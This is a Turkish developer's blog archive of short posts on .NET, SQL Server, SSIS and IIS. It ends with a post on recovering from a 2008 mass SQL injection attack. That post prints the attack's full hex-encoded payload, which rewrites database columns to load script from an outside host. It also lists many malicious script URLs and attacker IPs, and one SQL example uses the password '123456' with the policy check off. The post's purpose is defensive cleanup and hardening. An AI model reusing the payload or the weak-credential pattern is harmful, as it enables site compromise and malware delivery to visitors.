28 Ekim 2008 Salı

HttpWebRequest Nesnesi ile Proxy Kullanmak veya kullanmamak

HttpWebRequest, bu nesne yi web browser olarak kullaniyorsaniz şöyle bir sorunla karşılaşabilirsiniz.

1. internet explorer (ie) Lan Settings ayarlarinda degisiklik yapildiginda browser etkilenebilir.

2. Siz HttpWebRequest ile webbrowser da proxy yapmak isteyebilirsiniz.


string UrlAddress = "http://volkanaltan.com"
Uri ourUri = new Uri(UrlAddress);
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(ourUri);
request.UserAgent = "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1; .NET CLR 1.1.4322)";
request.ContentType = "text/html;charset=ISO-8859-1";
request.AllowAutoRedirect = true;//yonlendirmeye izin ver
request.Proxy = null; //Lan Settings degismisse sen bundan etkilenme


Proxy yapmak için;


WebProxy proxy = new WebProxy('127.0.0.1',80);
request.Proxy = proxy

26 Ekim 2008 Pazar

Blogger engellendi...

Söylenecek çok fazla birşey yok.

Ben yazılardan geri kalmamak için alternatif ve kalıcı çözüm arayacağım.

23 Ekim 2008 Perşembe

Sql server 2005 Kullanici Olusturma Ipuclari

Merhaba,

Genellikle herkesin basina gelen sorun kullanici ile bir veritabani ilişkilendirildiği halde, kullanıcının bütün veritabanlarını görmesidir. Her ne kadar içlerini göremesede serverda ne kadar veritabani varsa adlarıyla görmesi hoş olmamaktadır.

Kullanici yaratırken Sql Server Management Studio (SSMS) kullandığımız için detaylar atlanmaktadır.

İlkkez bir kullanıcı oluşturacağımız zaman şöyle yapmalıyız ;

use master

go

create database denemedb--veritabani yarat

go

use denemedb

go

create login kullanici with password = '123456', check_policy = off--user yarat

go

use denemedb

go

sp_changedbowner 'kullanici' -- denemedb sini "kullanici" ya goster

go

use master

go

deny VIEW any DATABASE to kullanici--Sahib oldugu disinda hic birini gosterme

go



Eger zaten veritabanı ve kullanıcınız varsa yapmanız gerekenler ;



use veritabani -- bu veritabani yetkisi degisecek olan

go

sp_changedbowner 'kullanici' -- yetkisi degicesek olan kullanici

go

use master

go

deny VIEW any DATABASE to veritabani
-- bu veritabanini sahibi disinda kimseye gosterme

go


Yukardakini yaptiginiz halde olmuyorsa ;

İlk komutu çalıştırdığınız şu hatayı alabilirsiniz;
"Msg 15110, Level 16, State 1, Line 1
The proposed new database owner is already a user or aliased in the database."


-- user rolunu siliyoruz

use [veritabani] go

Exec sp_revokedbaccess 'kullanici' --

--

use [veritabani] go

sp_changedbowner 'kullanici' -- yeniden ekliyoruz db owner olarak

--

use master

go

deny VIEW any DATABASE to kullanici


Kaynak : http://blogs.msdn.com/euanga/archive/2006/05/04/585513.aspx

19 Ekim 2008 Pazar

AQTRONIX WebKnight - Application Firewall IIS Için

AQTRONIX WebKnight Application Firewall
Konumuz WebKnight isimli firewall.
Daha onceki "Sql injectiondan korunma" yazımda biraz olaylara girmiştik. Ama bu savunma yaterli olmamaktadır. Halen dışardan başka şekillerde sistemimize saldırı olabilir. Kodlarda değişiklik yapmak gerek ama daha kısa biryolu daha var. O da dışardan gelebilecek kötü istekleri engellemek. Bunu yapabilmek için server yönetici olmak gerek.

Benim IIS için tavsiyem, Kadir arkadaşımdan öğrendiğim WebKnight isimli Web Firewall dır.
Oldukça kullanışlı ve performanslı bir araç uzun zamandır test etmekteyim ve bir zararını görmedim. Tabi ayarlar yapmakda bir o kadar uzun sürdü.

En güzel yani ayarları istediğiniz gibi kendi istekleriniz doğrultusunda yapıp değiştirebilmeniz. WebKnight.xml dosyası içinde istediğiniz özellikleri ekleyip çıkarabilirsiniz. Diğer bi güzelliği ise "Open Source" olması.

Şurdan indirip hemen denemeye başlayabilirsiniz.

Dikkat edilecek iki önemli husus var.

1. Birçok sitede *.mdb veritabanına ulaşmak için web yolu verilmiştir. www.volkanaltan.com/db/volkan.mdb gibi. Bu da bir açık sayılmakta. Bu nedenle firewall da kapatılmış. Bu tür uzantılı dosyalara ulaşamıyorsunuz o nedenle ayarlardan bunu çıkardım ama siz daha sonra, bu konudaki kararınızı verirsiniz. (Use Denied Extensions sekmesinden ayarlayabilirsiniz.)

2. Başlangıçta
  • Use Referrer Scanning (Referrer section)
  • Deny User Agent Non RFC (User Agent section)
Buralar işaretli kalsın ama performans sorunu yaşarsanız ve gereksiz log görmek istemiyorsanı buraları tıklamayın.

Benim tecrübelerim ile oluşturduğum ayar dosyası için Tıklayın.

17 Ekim 2008 Cuma

The AcquireConnection method call to the connection manager failed with error code 0xC0202009

[OLE DB Destination [469]] Error: SSIS Error Code DTS_E_CANNOTACQUIRECONNECTIONFROMCONNECTIONMANAGER. The AcquireConnection method call to the connection manager failed with error code 0xC0202009. There may be error messages posted before this with more information on why the AcquireConnection method call failed.

SSIS paketi yazarken, paketi başka bir bilgisayara taşıdığınız da bu hatayı alabilirsiniz. Bunun sebebi;

Paketin Property sindeki ("ProtactionLevel") güvenlik önlemidir. Muhtemelen seçtiğiniz yönteme uygun hareket etmiyorsunuzdur.

Ya şifreleme istemiyorum demişsinizdir yada User bazlı şifreleme seçilmiştir.
( EncryptAllWithUserKey, EncryptSensativeWithUserKey )
En sağlıklısı EncryptSensitiveWithPassword olanı seçmek. Bir şifre tanımlarsanız istediğiniz yerde paketi kullanabilirsiniz.

The version of component "DataReader Source" is not compatible with this version of the DataFlow.

Error 1 Error loading TrackedCodes_to_Local.dtsx: Microsoft.SqlServer.Dts.Pipeline.ComponentVersionMismatchException: The version of component "DataReader Source" (31) is not compatible with this version of the DataFlow. [[The version or pipeline version or both for the specified component is higher than the current version. This package was probably created on a new version of DTS or the component than is installed on the current PC.]] at Microsoft.SqlServer.Dts.Pipeline.ManagedComponentHost.HostCheckAndPerformUpgrade(IDTSManagedComponentWrapper90 wrapper, Int32 lPipelineVersion)

Yazdığınız SSIS paketini başka bir bilgisayarda çalıştırmak istediğiniz bu hatayı alabilirsiniz.
Bunun sebebi Vs2005 ile gelen SQLExpress ile sizin çalıştığınız versyon arasında fark olmasıdır.

Bunu çözmek için;
Mevcut yapıda ne varsa çalıştıracağınız makineyede aynılarını kurun.
Özellikle Sql server 2005 + Sql Server SP2 olmalı. .Net Framework de güncellemeler yapan sql service pack 2 hayat kurtarıyor.

15 Ekim 2008 Çarşamba

ODBC Data Source error - SSIS

Error at Data Flow Task [DataReader Source [31]]: Cannot acquire a managed connection from the run-time connection manager.

DataReader a bağlantı kurmak istediğinde bu hatayı alırsanız, sebebi yaptığınız bağlantı türünün ".Net Providers\SqlClient Data Provider" olmamasıdır.

Kaan Aslan ile Röportaj - CETURK

CETURK'ten Mehmet Aca, Hocamız Kaan Aslan ile Röportaj yapmış. Bence kaçırmayın.

14 Ekim 2008 Salı

ASP.NET must have read access to the IIS metabase

"The process account used to run ASP.NET must have read access to the IIS metabase (e.g. IIS://servername/W3SVC). For information on modifying metabase permissions" message,

Bu hatayi aldığınızda moralinizi bozmayın. İlgili Framework için şu komutu girin;

C:\WINDOWS\Microsoft.NET\Framework\ version
"aspnet_regiis.exe -i"

Düzelmez ise ;

aspnet_regiis -ga MAkineAdi veya user

11 Ekim 2008 Cumartesi

Heroes 3.Sezon Bomba Gibi



Heroes un galasinda 3. sezonun cok farkli olacagi soyleniyordu. Aciksaci bolumleri izledikçe bunun beklentilerimin üstünde olduğunu gordum. Syler in buyuk degisimi ise...

8 Ekim 2008 Çarşamba

Ilginc Botlar

Microsoft Data Access Internet Publishing Provider Protocol Discovery

Microsoft Office Protocol Discovery


Bunlarin ne oldugu hakkinda bilgisi olan var mi ?

Bunlar Microsoft'un lisans kontrolu icin kullandigi araclar olabilir mi..?

6 Ekim 2008 Pazartesi

Sql server 2000 Sql Injection Saldirisindan Korunma

Son zamanlarda bu tur saldirilar iyice artti. Ozellikle javascript dosyasini tum tablolara yazan bu saldiriyi yediyseniz yapmaniz gerekenler ;

--
Bakınız: http://volkanaltan.blogspot.com/2008/10/aqtronix-webknight-application-firewall.html


--

Önce tablolarımızı temizleyelim;

DECLARE @String as nvarchar(100)
SET @String = '<script src="http://www.ujnc.ru/js.js"></script>'
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor
CURSOR FOR

select a.name,b.name from sysobjects a,syscolumns b

where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)

BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'], '''+@String+''', '''')')

FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor

DEALLOCATE Table_Cursor

--<script src="http://www.ujnc.ru/js.js"></script>
--<script src="http://www.mnbenio.ru/script.js"></script>
--<script src="http://www.pfd2.ru/ngg.js"></script>
--<script src="http://www.crtbond.com/ngg.js"></script>
--<script src="http://www.netr2.ru/script.js"></script>
--<script src="http://www.iopc4.ru/script.js"></script>
--<script src="http://www.ujnc.ru/js.js"></script>
--<script src="http://www.ncb2.ru/ngg.js"></script>
--<script src="http://www.b4so.ru/ngg.js"></script>
--<script src="http://www.ncb2.ru/ngg.js"></script>
--<script src="http://www.bts5.ru/ngg.js"></script>
--<script src="http://www.5kc3.ru/ngg.js"></script>
--<script src="http://www.jex5.ru/ngg.js"></script>
--<script src="http://www.jvke.ru/ngg.js"></script>
--<script src="http://www.90mc.ru/ngg.js"></script>
--<script src="http://www.kc43.ru/ngg.js"></script>
--<script src="http://www.adwbn.ru/ngg.js"></script>
--<script src="http://www.korfd.ru/ngg.js"></script>
--<script src="http://www.tertad.mobi/ngg.js"></script>
--<script src="http://www.4cnw.ru/ngg.js"></script>
--<script src="http://www.nudk.ru/ngg.js"></script>
--<script src="http://www.adwbn.ru/ngg.js"></script>
--<script src=http://www.jic2.ru/script.js></script>
--<script src=http://www.pkseio.ru/script.js></script>
--<script src=http://www.mnbenio.ru/script.js></script>
--<script src=http://www.rundll841.com/b.js></script>
--<script src=http://www.porttw.mobi/ngg.js></script>
--<script src=http://www.ncwc.ru/ngg.js></script>
--<script src=http://www.pfd2.ru/ngg.js></script>
--<script src=http://www.pfd2.ru/ngg.js></script>
--<script src=http://www.bsko.ru/ngg.js></script>
--<script src=http://www.nbh3.ru/js.js></script>
--<script src=http://www.jic2.ru/script.js></script>
--<script src=http://www.pkseio.ru/script.js></script>
--<script src=http://www.mnbenio.ru/script.js></script>


Yukardaki kod ile tablo tipi varchar olan bütün alanlarda aradığınız stringi bulup boşluk ile değiştiriyor.



Text alanlar içinse şunu yapmalısınız;



DECLARE @StrBin BINARY(16)
DECLARE @InsertPos INT
DECLARE @DeleteLen INT
DECLARE @TabloID int
DECLARE test_cursor CURSOR FOR
SELECT TabloID FROM tablo_name

OPEN test_cursor
FETCH NEXT FROM test_cursor INTO @TabloID
WHILE @@FETCH_STATUS = 0

BEGIN
SELECT @StrBin = TEXTPTR(Field),
@InsertPos = (CHARINDEX('<script src="http://www.64do.com/script.js"></script>', Field)-1),

@DeleteLen = len('<script src="http://www.64do.com/script.js"></script>')

FROM dbo.tablo_name

WHERE TableID = @TabloID
IF(@InsertPos <> -1)

BEGIN
UPDATETEXT dbo.tablo_name.Field
@StrBin
@InsertPos
@DeleteLen
WITH LOG
''

END
FETCH NEXT FROM test_cursor INTO @TabloID

END
CLOSE test_cursor
DEALLOCATE test_cursor


Böylece saldırının etkisini atlatmış olucaz.


Şimdi ise bunun olmaması için ne yapmamız gerektiğine bakalım;


Bütün veritabanlarında "public" rolü seçilidir. Bu rolde "sysobjects" tablosuna erişimi kaldırıyoruz.





DECLARE @Name_ as nvarchar(100)
DECLARE @SQL as nvarchar(1000)
DECLARE @Count AS INT
SET @Count = 0
DECLARE test_cursor CURSOR
FOR

SELECT name FROM master..sysdatabases WHERE status=16 AND name NOT IN ('master','model','msdb','tempdb') ORDER BY name -- pasif db listesini getirme

OPEN test_cursor


FETCH NEXT FROM test_cursor INTO @Name_

WHILE (@@FETCH_STATUS <> -1)--bitti mi ?
BEGIN
SET @SQL = '
use ['+@Name_+']
DENY Select ON [dbo].[sysobjects] TO [public] CASCADE
'

exec(@SQL)--system tablosuna erisimi durdurma

--SELECT @SQL
SET @Count = @Count +1--sayiyi artir
--SELECT @Name_
FETCH NEXT FROM test_cursor INTO @Name_
END
CLOSE test_cursor
DEALLOCATE test_cursor
SELECT @Count --sonucu goruntule


------------


Örnek saldırı kodları ve saldıran ip ler ;

';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

ip list;

125.119.158.57, 122.4.54.67, 74.13.127.182, 85.93.236.62